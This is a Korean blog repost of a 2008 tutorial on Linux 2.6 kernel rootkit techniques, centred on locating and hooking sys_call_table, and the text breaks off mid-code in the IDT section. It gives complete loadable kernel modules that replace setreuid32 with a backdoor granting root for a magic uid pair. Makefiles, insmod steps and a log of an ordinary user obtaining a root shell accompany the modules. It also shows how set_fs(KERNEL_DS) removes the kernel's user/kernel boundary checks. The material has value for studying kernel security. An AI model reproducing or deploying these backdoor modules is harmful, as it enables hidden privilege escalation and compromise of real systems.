[Linux] rootkit 자료 (펌)

자료 2016. 11. 30. 23:24
반응형

============================================ Core Rootkit Technology for Linux Kernel 2.6 by hkpco(박찬암) ------------------------------- mail - chanam.park@hkpco.kr homepage - http://hkpco.kr/ date - 2008 ------------------------------- ============================================ ----------------- Table Of Contents ------------------------------------------------------ 0x0. Preface 0x1. What is the sys_call_table 0x2. Past and Current of sys_call_table 0x3. Break Boundary 0x4. Where is the sys_call_table Address - System.map 0x5. Where is the sys_call_table Address - Finding 0x6. Where is the sys_call_table Address - IDT 0x7. Goodbye Write Protection - Kernel API 0x8. Goodbye Write Protection - WP bit in CR0 Register 0x9. Goodbye Write Protection - Page Attribute 0xa. Kernel Module Hiding 0xb. Conclusion ------------------------------------------------------ 0x0. Preface 본 문서에서는 리눅스 커널 2.6 루트킷의 핵심 기술에 대하여 알아 볼 것입니다. 문서 제목을 이와 같이 정한 이유는 실제 리눅스 상의 커널 레벨 루트킷 제작과 관련된 방법론을 설명하기 위한 것이 아닙니다. 수 많은 루트킷에는 정말로 다양한 그리고 참신한 기술들이 축약되어 있으며 이러한 모든 것들의 대명사로 루트킷이란 단어를 선택하게 되었습니다. 이제부터 소개 할 내용은 커널 시스템 콜 제어와 관련된 기반 기술에 관한 것이며 이에 대한 여러가지 활용 기술들은 기존 문서에서 많이 소개되고 있기 때문에 다루지 않겠습니다. 테스트 환경은 32비트 리눅스 시스템으로 문서를 통하여 보안 운영체제, 커널 취약점 방어 모듈, 루트킷 등의 다양한 핵심 기술로 적용할 수 있을 것입니다. 0x1. What is the sys_call_table 리눅스 커널상의 시스템 콜 제어를 위해 일반적으로 sys_call_table이 가장 많이 사용되고 있습니다. 시스템 콜 제어는 system call hijacking/hooking/wrapping 등의 용어로도 불려지며, 주로 커널모드의 루트킷 제작을 위해 많이 이용됩니다. 하지만 최근 대부분의 리눅스 배포판은 커널 루트킷의 악용을 막기 위해 sys_call_table을 사용 할 수 없도록 공개된 심볼을 제거하고 숨겨 두었고 덕분에 구 버전의 커널과는 달리 커널 모듈에서 sys_call_table을 사용할 수 없게 되었습니다. 시스템 콜 제어에서 sys_call_table을 주로 사용하는 이유는 리눅스 시스템 콜 호출 과정을 살펴보면 알 수 있습니다. 다음은 write() 시스템 콜 호출 당시의 처리 과정을 간략 하게 나타낸 것입니다. ================================================ / 1 / [ USER ] write() call ------------------------------------------------ / 2 / [ LIBRARY ] . . movl $4, %eax int $0x80 ------------------------------------------------ / 3 / [ IDT ] |0x00| |0x01| . . |0x80| system_call() ------------------------------------------------ / 4 / [ KERNEL ] ENTRY(system_call) . . call *sys_call_table(,%eax,4) ------------------------------------------------ / 5 / [ KERNEL ] #L1ENTRY(sys_call_table) .long sys_restart_syscall .long sys_exit .long sys_fork .long sys_read .long sys_write . . ================================================ 먼저 사용자가 write() 시스템 콜을 호출하면 라이브러리에서 해당 시스템 콜 번호를 %eax 레지스터에 저장한 뒤 0x80번 인터럽트를 발생시킵니다. 그 다음 IDT table에서 0x80 번째에 위치한 system_call() 함수를 호출 하게되며 몇 가지 기본적인 처리 과정을 지난 다음 `call *sys_call_table(,%eax,4)` 명령을 수행합니다. 이것은 sys_call_table에서 %eax*4 번째 주소를 찾아 실행하라는 뜻이며 여기서 %eax 레지스터에는 우리가 호출한 시스템 콜 번호가 저장 되어 있습니다. %eax 레지스터에 4를 곱한 이유는 sys_call_table의 데이터가 .long 형태로 정의되어 있기 때문인데 본 문서에서는 32비트 시스템을 기준으로 설명하고 있으므로 .long은 4byte가 되며 결과적으로 시스템 콜 주소가 저장되어 있는 간격또한 4byte가 됩니다. 즉, "N"번째 시스템 콜을 호출하기 위해서는 해당 시스템 콜 번호의 4배수를 해주어야 하며 이 과정을 다시한번 간단히 정리하면 다음과 같습니다. ------------------------------------------------------------------------------------- 1. write() 시스템 콜 호출 2. 해당 시스템 콜 번호를 eax 레지스터에 저장 3. 0x80번 인터럽트 발생 4. IDT table에서 0x80번째에 해당하는 system_call() 함수를 호출 5. sys_call_table에서 eax 레지스터에 저장된 오프셋에 해당하는 sys_write() 함수를 호출 ------------------------------------------------------------------------------------- 결국, 시스템 콜 호출 시 sys_call_table을 참조하는 과정 덕분에 일반적으로 커널 루트킷 등에서 sys_call_table의 조작이 대부분을 차지하고 있습니다. 0x2. Past and Current of sys_call_table 구 버전의 커널에서는 sys_call_table이 어떻게 사용 가능하였고 특정 버전 이상의 커널에서는 왜 사용할 수 없게 되었는지에 대해 알아보겠습니다. sys_call_table의 사용 여부는 배포판 등에 따라 가변적일 수 있기 때문에 본 문서에서 커널 버전을 통한 구분은 형식적으로나마 레드햇을 기준으로 하겠습니다. 우선 kernel 2.4.18 이하 버전의 sys_call_table은 다음과 같이 정의 되어있기 때문에 모듈간의 상호 참조가 가능합니다. ------------------------------------ /usr/src/linux-2.4.34/kernel/ksyms.c ------------------------------------ . . extern void *sys_call_table; . . EXPORT_SYMBOL(sys_call_table); ------------------------------------ 여기서 EXPORT_SYMBOL() 매크로는 커널 심볼을 공개시켜서 외부 모듈에서도 심볼 참조가 가능하게 하는 역할을 합니다. 만약 해당 매크로를 사용하지 않으면 심볼이 공개되지 않게되므로 외부 모듈에서 sys_call_table을 사용할 수 없지만 이는 kernel 2.4.14 버전 이상에서 적용되는 사항이고 kernel 2.4.14 미만에서는 매크로 사용 유무에 관계없이 기본적으로 심볼이 외부로 공개됩니다. 어쨋든, 위와 같은 선언으로 인하여 우리가 작성한 임의의 모듈에서도 sys_call_table의 사용이 가능한 것인데 각 시스템마다 차이가 있기 때문에 커널 버전이 kernel 2.4.14 미만이라고 해서 모든 시스템에 해당되는 사항은 아닙니다. sys_call_table의 심볼이 공개된 커널 버전에서는 다음과 같이 선언하여 사용이 가능합니다. ------------------------------ extern void *sys_call_table[]; ------------------------------ 하지만, kernel 2.4.14 이상에서는 심볼을 공개하지 않고 있기 때문에 일반적인 방법으로는 외부 모듈에서 sys_call_table을 사용할 수 없는것이 커널 개발자의 의도이지만 본 문서에서는 여기에 대한 해결 방법을 알아 볼 것입니다. 0x3. Break Boundary 본격적으로 시스템 콜 제어에 대한 기술을 알아보기 전에 커널 모듈 프로그래밍 또는 루트킷 제작 등에서 항상 고려해 주어야 하는 커널 영역(Kernel space)과 사용자 영역(User space)의 경계에 대해 간략히 살펴보고, 굳이 여기에 대해 신경쓰지 않고도 문제 없이 코딩 할 수 있는 방법에 대해 짚고 넘어가겠습니다. 시스템 콜 제어, 혹은 악의적인 목적의 루트킷 제작 시 가장 빈번하게 사용되는 함수는 copy_to_user(), copy_from_user()와 같은 커널 영역과 사용자 영역 사이의 데이터 교환 함수일 것입니다. 총 4G의 주소 영역 중 커널 영역은 1G, 사용자 영역은 3G를 할당 받는데 각 영역에서 다른 영역을 직접적으로 접근 할 수 없기 때문에 커널 모듈에서는 copy_to_user(), get_user(), put_user()과 같은 함수를 통하여 데이터를 교환하는 방식을 주로 사용합니다. 아래는 이 두 영역을 간단히 도식화 한 것입니다. [0xffffffff]============ Kernel Space [0xc0000000]------------ <- boundary User Space [0x00000000]============ 루트킷을 위한 시스템 콜 hijacking 함수를 작성한다고 가정하고 간단한 예제 코드를 보겠습니다. ------------------------------------------------------------------------ 1 | asmlinkage ssize_t hk_write( int fd, const void *buf, size_t count ) 2 | { 3 | char *k_buf = (char *)kmalloc( 128 , GFP_KERNEL ); 4 | copy_from_user( k_buf , buf , 9 ); 5 | 6 | if(!strcmp( k_buf , "127.0.0.1" )) 7 | { 8 | kfree(k_buf); 9 | printk( KERN_ALERT "hacker ip removed.\n" ); 10| return orig_write( fd , "i love you" , 10 ); 11| } 12| 13| return orig_write( fd , buf , count ); 14| } ------------------------------------------------------------------------ write() 시스템 콜의 두 번째 인자를 검사하여 특정 아이피(127.0.0.1)와 일치하면 "i love you" 문자열로 두 번째 인자를 변경하여 리턴하는 함수입니다. 3-4 번째 라인에서 kmalloc() 함수로 커널 영역 메모리를 할당받은 뒤 copy_from_user() 함수를 통하여 사용자 영역에 존재하는 buf변수의 데이터를 커널 영역의 k_buf로 복사합니다. 복사된 데이터를 사용한 다음 8번째 라인에서 kfree() 함수로 할당 된 영역을 해제한 다음 정상적인 시스템 콜인 orig_write()를 호출합니다. 하지만 우리가 호출한 orig_write() 시스템 콜의 두 번째, 세 번째 인자는 사용자 영역의 데이터가 아니기 때문에 "i love you" 문자열은 출력되지 않고 Bad Address를 나타내는 -EFAULT 가 반환됩니다.( 소스 코드의 asmlinkage에 대해서는 뒤에서 다시 설명하겠습니다. ) 이렇듯, 모듈 프로그래밍에서 각 영역의 경계를 고려하는 것은 매우 귀찮고 까다로운 일입니다. 커널 영역과 사용자 영역의 경계는 스레드 정보를 담고있는 thread_info 구조체 필드인 addr_limit을 이용하여 구분 지어집니다. addr_limit 필드에는 두 영역의 경계가 되는 주소 값이 저장되어 있으며, 다음과 같이 선언되어 있습니다. ------------------------------------ linux/include/asm-i386/thread_info.h ------------------------------------ struct thread_info { . . mm_segment_t addr_limit; . . }; ------------------------------------ addr_limit의 기본 값은 커널 영역과 사용자 영역의 경계인 0xc0000000로 정해져 있습니다. 여기서 만약 addr_limit의 값을 변경할 수 있다면 현재 스레드의 경계 영역도 함께 변할 것이며, 이러한 작업은 set_fs() 매크로를 이용하면 가능합니다. 다음은 set_fs() 매크로를 정의하고 있는 uaccess.h의 일부입니다. -------------------------- include/asm-i386/uaccess.h ----------------------------------------------------------------------------- 16| /* 17| * The fs value determines whether argument validity checking should be 18| * performed or not. If get_fs() == USER_DS, checking is performed, with 19| * get_fs() == KERNEL_DS, checking is bypassed. 20| * 21| * For historical reasons, these macros are grossly misnamed. 22| */ 23| 24| #define MAKE_MM_SEG(s) ((mm_segment_t) { (s) }) 25| 26| 27| #define KERNEL_DS MAKE_MM_SEG(0xFFFFFFFFUL) 28| #define USER_DS MAKE_MM_SEG(PAGE_OFFSET) 29| 30| #define get_ds() (KERNEL_DS) 31| #define get_fs() (current_thread_info()->addr_limit) 32| #define set_fs(x) (current_thread_info()->addr_limit = (x)) ----------------------------------------------------------------------------- 주석에서도 설명하듯이 set_fs() 매크로를 이용하여 USER_DS(0xC0000000)로 선언 된 addr_limit의 값을 KERNEL_DS(0xFFFFFFFF)로 변경해 주면 두 영역의 경계는 메모리의 끝부분이 되어 사실상 경계라는 개념이 사라지게 됩니다. 경계 값 변경 뒤에는 각 영역의 데이터를 교환하는 copy_from_user() 등의 함수를 사용할 필요가 없으며 커널과 사용자 영역을 신경쓰지 않고 코딩할 수 있습니다. 추가로 get_ds() 매크로는 KERNEL_DS를, get_fs() 매크로는 현재 addr_limit의 값을 의미합니다. 다음은 set_fs() 매크로를 통해 두 영역의 경계를 변경하여 루트킷을 위한 시스템 콜 hijacking 함수를 재구성한 것입니다. ------------------------------------------------------------------------ 1 | asmlinkage ssize_t hk_write( int fd, const void *buf, size_t count ) 2 | { 3 | set_fs(KERNEL_DS); 4 | 5 | if(!strcmp( buf , "127.0.0.1" )) 6 | { 7 | printk( KERN_ALERT "hacker ip removed.\n" ); 8 | return orig_write( fd , "i love you" , 10 ); 9 | } 10| 11| return orig_write( fd , buf , count ); 12| } ------------------------------------------------------------------------ 처음에 설명했던 hijacking 함수 코드와는 달리 kmalloc()를 통한 메모리 영역의 할당과 copy_from_user() 함수의 사용이 필요하지 않게 되었습니다. 그리고 이전에는 "i love you"와 상수 10이 사용자 영역의 데이터가 아니었기 때문에 제대로 동작하지 않았지만, set_fs() 매크로를 이용하여 경계 값을 바꾼 뒤에는 오류없이 잘 동작하게 됩니다. 예제로 설명한 것 처럼 루트킷의 제작에서는 set_fs() 매크로만 사용하면 되지만 일반적인 모듈을 작성할 때에는 다음과 같이 필요 시에만 경계를 잠시 변경하고 사용 후에는 다시 복구해 주어야합니다. ------------------------------ mm_segment_t fs = get_fs(); // get_fs() == USER_DS set_fs(get_ds()); // get_ds() == KERNEL_DS ... working ... set_fs(fs); ------------------------------ 비록 set_fs() 매크로를 이용하여 커널 영역과 사용자 영역을 신경쓰지 않도록 변경하여 코딩하는 것은 편리하지만 사실상 두 영역의 경계가 사라지는 것이기 때문에 일반 사용자가 손쉽게 커널 영역에 접근할 수 있게 됩니다. 이는 심각한 보안상의 문제점과 직결 될 수 있으므로 루트킷이 아닌 개발과 같은 목적으로는 되도록 남용하지 않는 것이 좋습니다. 0x4. Where is the sys_call_table Address - System.map 심볼이 숨겨진 sys_call_table을 사용하는 방법은 사용자가 임의로 선언한 변수를 실제 sys_call_table의 심볼 주소 값으로 할당해 주는 것입니다. 아래는 공개 된 심볼의 정보를 담고 있는 /proc/kallsyms의 출력 결과입니다. ---------------------------------------------------------- [root@localhost kernel]# cat /proc/kallsyms c0100294 T _stext c0100294 T stext c01002a0 t rest_init c01002bb t do_pre_smp_initcalls c01002ca t run_init_process c01002f3 t init c0100490 t try_name c0100667 T name_to_dev_t c0100908 T calibrate_delay c0100a90 T hard_smp_processor_id . . . c023cef8 U bus_register [scsi_mod] bdbfc56b a __crc___scsi_iterate_devices [scsi_mod] c4864728 T scsi_get_host_dev [scsi_mod] 3697d50f a __crc_scsi_nonblockable_ioctl [scsi_mod] c485dda8 T scsi_set_medium_removal [scsi_mod] c024336a U blk_init_queue [scsi_mod] ---------------------------------------------------------- kernel 2.6.x에서 sys_call_table은 공개된 심볼이 아니기 때문에 다음과 같이 검색해도 찾을 수 없습니다. ----------------------------------------------------------------- [root@localhost kernel]# cat /proc/kallsyms | grep sys_call_table [root@localhost kernel]# ----------------------------------------------------------------- 하지만 커널 컴파일 시 생성되는 System.map 파일에는 비공개 심볼을 포함한 모든 커널 심볼의 정보를 담고 있기 때문에 이를 이용 해서 sys_call_table의 주소 값을 얻을 수 있습니다. 해당 파일은 /boot 디렉토리에 "System.map-커널버전"의 형태로 존재합니다. 다음은 System.map의 출력 결과입니다. ------------------------------------------------------------------ [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp 00000400 A __kernel_vsyscall 00000410 A SYSENTER_RETURN_OFFSET 00000420 A __kernel_sigreturn 00000440 A __kernel_rt_sigreturn c0100000 A _text c0100000 T startup_32 c0100068 T startup_32_smp c0100123 t checkCPUtype c01001a4 t is486 c01001ab t is386 . . . c049a5ac b unix_sysctl_header c049a5b0 b packet_sklist c049a5b4 b packet_socks_nr c049a5b8 A __bss_stop c049a5b8 A _end c049b000 A pg0 ------------------------------------------------------------------ System.map에는 비공개 심볼의 정보까지 포함하고 있기 때문에 다음과 같이 sys_call_table에 대한 정보를 구할 수 있습니다. ---------------------------------------------------------------------------------------- [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep sys_call_table c035babc D sys_call_table ---------------------------------------------------------------------------------------- 위 결과를 통해 sys_call_table의 주소는 "0xc035babc"라는 것을 알 수 있으며 여기서 D는 data영역의 초기화된 변수를 의미합니다. 이렇게 찾은 sys_call_table의 주소를 적용하여 시스템 콜의 제어가 가능한지 간단한 프로그램을 작성하여 확인해 보겠습니다. 특정 조건을 만족하면 현재 프로세스를 루트 권한으로 변경해 주는 프로그램으로, 소스 코드에 대한 설명은 주석으로 대체하겠습니다. =- hkm_sysmap.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <asm/unistd.h> void **sys_call_table = (void **)0xc035babc; // System.map에서 구한 시스템 콜 주소 asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); // 원본 setreuid() 시스템 콜 주소를 가리키기 위한 함수 포인터 asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) // setreuid() 시스템 콜을 대신할 사용자 함수 { if( (ruid == 7310) && (euid == 0137) ) // setreuid() 시스템 콜의 인자인 ruid와 euid가 각각 7310, 0137 인지 체크 { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; // 현재 프로세스의 모든 권한을 root로 변경 return orig_setreuid( 0 , 0 ); // setreuid( 0 , 0 ); 호출 } return orig_setreuid( ruid , euid ); // if문 조건에 만족하지 않을 경우 원래 시스템 콜 수행 } int __init hk_init( void ) { orig_setreuid = sys_call_table[__NR_setreuid32]; // 32bit 운영체제에서는 setreuid32() 시스템 콜이 호출하기 때문에 // orig_setreuid 함수 포인터가 setreuid32() 시스템 콜을 가리키도록 지정. sys_call_table[__NR_setreuid32] = hk_setreuid; // setreuid32() 시스템 콜을 우리가 작성한 hk_setreuid() 함수로 대체 printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; // setreuid32() 시스템 콜을 원본 주소로 복구 printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); // 초기화 함수 실행 module_exit( hk_exit ); // 종료 함수 실행 MODULE_LICENSE( "GPL" ); // GPL 라이센스 =- End Of Code -= kernel 2.4.14 이후 버전은 기존의 고정된 함수명인 init_module(), module_exit() 대신에 사용자가 임의로 함수의 이름을 정의 할 수 있으며 이 때, 정의 된 함수는 각각 module_init(), module_exit() 매크로의 인자로 주어야합니다. 여기서 hk_init(), hk_exit() 함수명 앞에 사용 된 __init, __exit는 함수의 초기화와 종료시에 각각 init.text, exit.text 섹션을 사용하도록 지시하는 것이며 각 함수가 초기화 되거나 종료되면 생성된 섹션은 메모리에서 제거됩니다. 이는 메모리를 효율적으로 관리하기 위해 제공되는 것으로써 굳이 해당 매크로를 사용하지 않는다고 해서 특별한 영향을 미치는것은 아닙니다. orig_setreuid(), hk_setreuid() 함수 앞에 선언 된 asmlinkage는 해당 함수를 어셈블리 코드에서 호출할 수 있도록 명시하여 주는 것입니다. 일반적으로 어셈블리에서 함수가 호출 될 때는 인자가 스택을 이용하여 전달되는데, 컴파일러가 최적화 작업 도중에 인자 값을 레지스터를 통하여 전달하는 방식으로 변경하는 경우가 있습니다. 이 때, 만약 커널 내부에서 어셈블리로 함수를 호출할 경우 컴파일러가 함수 인자 전달 방식을 레지스터로 변경하여도 해당 사실을 알지 못하고 여전히 스택을 통하여 인자를 줄 수 있기 때문에 문제가 발생할 수 있습니다. 마지막 MODULE_LICENSE() 매크로는 소스 코드의 라이센스를 명시하는 역할을 하며 여기서는 GPL 라이센스를 따르고 있습니다. hkm_sysmap.c를 컴파일 하기위한 Makefile은 다음과 같습니다. =- Makefile -= obj-m := hkm_sysmap.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. 참고로 kernel 2.6.x 부터는 모듈 확장자가 .o에서 .ko로 바뀌었습니다. ---------------------------------------------------------------------------- // 커널 모듈 컴파일 [root@localhost kernel]# make make -C /lib/modules/2.6.11-1.1369_FC4smp/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' CC [M] /root/kernel/hkm_sysmap.o Building modules, stage 2. MODPOST CC /root/kernel/hkm_sysmap.mod.o LD [M] /root/kernel/hkm_sysmap.ko make[1]: Leaving directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' // 커널 모듈 로드 [root@localhost kernel]# insmod hkm_sysmap.ko ---------------------------------------------------------------------------- 다음은 hkpco 계정에서 루트킷을 테스트 하는 과정입니다. ------------------------------------------------------------------------------------ [hkpco@localhost ~]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=user_u:system_r:unconfined_t [hkpco@localhost ~]$ cat go.c int main( void ) { setreuid( 7310, 0137 ); system( "/bin/sh" ); } [hkpco@localhost ~]$ gcc -o go go.c [hkpco@localhost ~]$ ./go sh-3.00# id uid=0(root) gid=0(root) groups=500(hkpco) context=user_u:system_r:unconfined_t ------------------------------------------------------------------------------------ 성공적으로 루트 권한을 획득한 것을 볼 수 있습니다. 예제로 보인 루트킷에서는 특정 조건을 만족하면 "현재 프로세스"의 권한을 변경 시켜줍니다. setreuid( 7310, 0137 );을 통하여 커널 모듈상의 조건을 만족시키면 현재 프로세스는 루트 권한을 가지게 되고 이 상태에서 system( "/bin/sh" );를 수행하여 쉘을 실행해야 루트쉘을 얻을 수 있습니다. 만약 system("/bin/sh"); 없다면 루트 권한으로 변경된 현재 프로세스(프로그램)는 종료 되고 변경된 권한은 원래대로 돌아 올 것입니다. 하지만 이와 같이 System.map을 사용하는 방법은 방법이 간단한 대신 유저 모드에 의존적이며 System.map에 있는 sys_call_table의 주소 또한 kernel 2.6.x 버전대가 모두 동일한 것이 아니기 때문에 범용성이 부족하다는 단점이 있습니다. 0x5. Where is the sys_call_table Address - Finding 비교적 쉬운 개념으로 커널 영역의 주소 공간을 검색하여 sys_call_table의 주소를 직접 찾는 방법입니다. sys_call_table 주소 값 이전에 위치한 loops_per_jiffy 변수와 주소 값 이후에 위치한 boot_cpu_data 구조체의 주소 사이에 sys_call_table의 주소가 위치해 있는것을 이용한 것입니다. System.map을 통하여 직접 확인해 보겠습니다. ----------------------------------------------------------------------------------------- [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep loops_per_jiffy c034594c r __ksymtab_loops_per_jiffy c034ab40 r __kcrctab_loops_per_jiffy c034d45f r __kstrtab_loops_per_jiffy c035b2a8 D loops_per_jiffy c044c6cc b loops_per_jiffy_ref [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep sys_call_table c035babc D sys_call_table [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep boot_cpu_data c0345a0c r __ksymtab_boot_cpu_data c034aba0 r __kcrctab_boot_cpu_data c034d61b r __kstrtab_boot_cpu_data c035c100 D boot_cpu_data ----------------------------------------------------------------------------------------- 각 주소의 크기를 부등식으로 비교하면 다음과 같습니다. ------------------------------------------------ loops_per_jiffy < sys_call_table < boot_cpu_data c035b2a8 < c035babc < c035c100 ------------------------------------------------ 이렇게 sys_call_table의 주소가 loops_per_jiffy와 boot_cpu_data 사이에 있다는 사실을 이용하여 sys_call_table의 주소를 찾는 코드를 최대한 간단히 구현해 보았습니다. 다음과 같습니다. ---------------------------------------------------------------------------------- static void **find_sys_call_table( void ) { int *ptr; extern int loops_per_jiffy; for( ptr = (int *)&loops_per_jiffy ; ptr < (int *)&boot_cpu_data ; ptr++ ) { if( ptr[6] == (int)sys_close ) return (void **)ptr; } return NULL; } ---------------------------------------------------------------------------------- 하지만 이 방법은 단점도 많이 존재하며 환경의 변화에 특히 취약한데 여기에 대해서는 조금 뒤에 자세히 알아보도록 하고 우선 코드 분석을 하겠습니다. loops_per_jiffy와 boot_cpu_data의 주소 사이를 검색하여 ptr[6](sys_call_table의 7번째 테이블)의 주소 값과 sys_close 심볼의 주소 값이 일치하면 현재 ptr이 가리키는 위치를 sys_call_table 주소로 판단하여 반환하는 원리입니다. 굳이 여러 심볼들 중 sys_close와 비교하는 이유는 sys_call_table에 존재하는 심볼들이 모두 커널 모듈에서 사용 가능하도록 공개되어 있지는 않기 때문이며 여러 심볼 중 공개 된 sys_close를 이용한 것입니다. 실제 sys_call_table은 다음과 같은 형태로 선언되어 있습니다. --------------------------------------- /linux/arch/i386/kernel/syscall_table.S ---------------------------------------------------------------------------------------------------- 1 | ENTRY(sys_call_table) 2 | .long sys_restart_syscall /* 0 - old "setup()" system call, used for restarting */ 3 | .long sys_exit 4 | .long sys_fork 5 | .long sys_read 6 | .long sys_write 7 | .long sys_open /* 5 */ 8 | .long sys_close 9 | .long sys_waitpid 10 | .long sys_creat . . . 321| .long sys_epoll_pwait 322| .long sys_utimensat /* 320 */ 323| .long sys_signalfd 324| .long sys_timerfd 325| .long sys_eventfd 326| .long sys_fallocate ---------------------------------------------------------------------------------------------------- sys_call_table에 있는 모든 심볼이 공개되어 있는것은 아니기 때문에 그 중 공개된 심볼인 sys_close을 사용하였다고 언급하였는데 만약 커널 버전이 업그레이드 되면서 sys_close 마저 공개되지 않는다면 또 다른 공개 심볼을 찾아서 비교해야 합니다. 그리고 특정 커널 버전에서는 심볼의 주소 값 순서가 다를 수 있기 때문에 sys_call_table이 loops_per_jiffy와 boot_cpu_data의 주소 값 사이에 위치하지 않을수도 있습니다. 그 때는 시스템의 System.map을 참고하여 sys_call_table의 전후에 위치한 공개 심볼의 주소 값을 다시 찾은 다음 코드를 재구성 해야합니다. 아무튼 이러한 원리로 제작된 소스 코드를 테스트 해 보겠습니다. =- finding.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <asm/unistd.h> void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } static void **find_sys_call_table( void ) { int *ptr; extern int loops_per_jiffy; for( ptr = (int *)&loops_per_jiffy ; ptr < (int *)&boot_cpu_data ; ptr++ ) { if( ptr[6] == (int)sys_close ) return (void **)ptr; } return NULL; } int __init hk_init( void ) { sys_call_table = (void **)find_sys_call_table(); // find_sys_call_table() 함수의 리턴 값인 sys_call_table의 주소를 저장 orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 소스 코드를 컴파일 하기위한 Makefile 입니다. =- Makefile -= obj-m := finding.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ---------------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.11-1.1369_FC4smp/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' CC [M] /root/kernel/finding.o Building modules, stage 2. MODPOST CC /root/kernel/finding.mod.o LD [M] /root/kernel/finding.ko make[1]: Leaving directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' [root@localhost kernel]# insmod finding.ko ---------------------------------------------------------------------------- 마지막으로 hkpco 계정에서 루트킷이 정상 작동하는지 테스트 해보겠습니다. ------------------------------------------------------------------------------------ [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=user_u:system_r:unconfined_t [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.00# id uid=0(root) gid=0(root) groups=500(hkpco) context=user_u:system_r:unconfined_t ------------------------------------------------------------------------------------ 이번 장에서 소개한 sys_call_table의 주소를 직접 찾는 방법은 코드와 원리가 간단하다는 장점에 비해서 시스템에 상당히 의존적인 단점이 있습니다. 다음 장에서는 이러한 문제점들을 해결한 조금 더 범용적이고 세련 된 기술에 대하여 알아 보겠습니다. 0x6. Where is the sys_call_table Address - IDT 시스템 콜이 호출될 때 IDT table의 0x80(128)번째에 위치한 인터럽트 함수인 system_call()의 내부에서 sys_call_table을 사용하는 원리를 이용하여 주소 값을 찾는 방법입니다. 지금까지 소개했던 기술들 보다는 비교적 복잡할 수 있지만 현재까지는 가장 범용적인 방법이며 하나씩 분석해 보면 그리 어렵지 않습니다. 다음은 시스템 콜을 사용하였을 때 커널 내부에서 호출되는 system_call() 함수 루틴의 일부입니다. ------------------------------ linux/arch/i386/kernel/entry.S ------------------------------------------------------------------------------------------------ 364| ENTRY(system_call) 365| RING0_INT_FRAME # can't unwind into user space anyway 366| pushl %eax # save orig_eax 367| CFI_ADJUST_CFA_OFFSET 4 368| SAVE_ALL 369| GET_THREAD_INFO(%ebp) 370| # system call tracing in operation / emulation 371| /* Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb */ 372| testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp) 373| jnz syscall_trace_entry 374| cmpl $(nr_syscalls), %eax 375| jae syscall_badsys 376| syscall_call: 377| call *sys_call_table(,%eax,4) 378| movl %eax,PT_EAX(%esp) # store the return value . . . ------------------------------------------------------------------------------------------------ 위와 같은 system_call()의 루틴 중 377번째 라인에서 사용자가 호출한 시스템 콜을 수행하기 위해 sys_call_table을 참조 하는것을 볼 수 있습니다. 여기서 사용되는 sys_call_table의 주소를 찾을 것이며 이를 위해 수행해야 되는 순서는 다음과 같습니다. ----------------------------------------------------------------------------- 1. IDT table의 base주소를 얻음 2. IDT table에서 0x80번째에 해당하는 system_call()의 주소를 구함 3. system_call()의 시작부터 주소 값을 증가시키며 특정 기계어 코드 패턴과 비교 4. 비교 값이 일치하면 sys_call_table 주소 저장, 그렇지 않으면 3번 과정 재수행 ----------------------------------------------------------------------------- 위 과정 중 첫 번째 작업에 해당하는 코드는 다음과 같습니다. -------------------------------- struct { unsigned short limit; unsigned int base; } __attribute__ 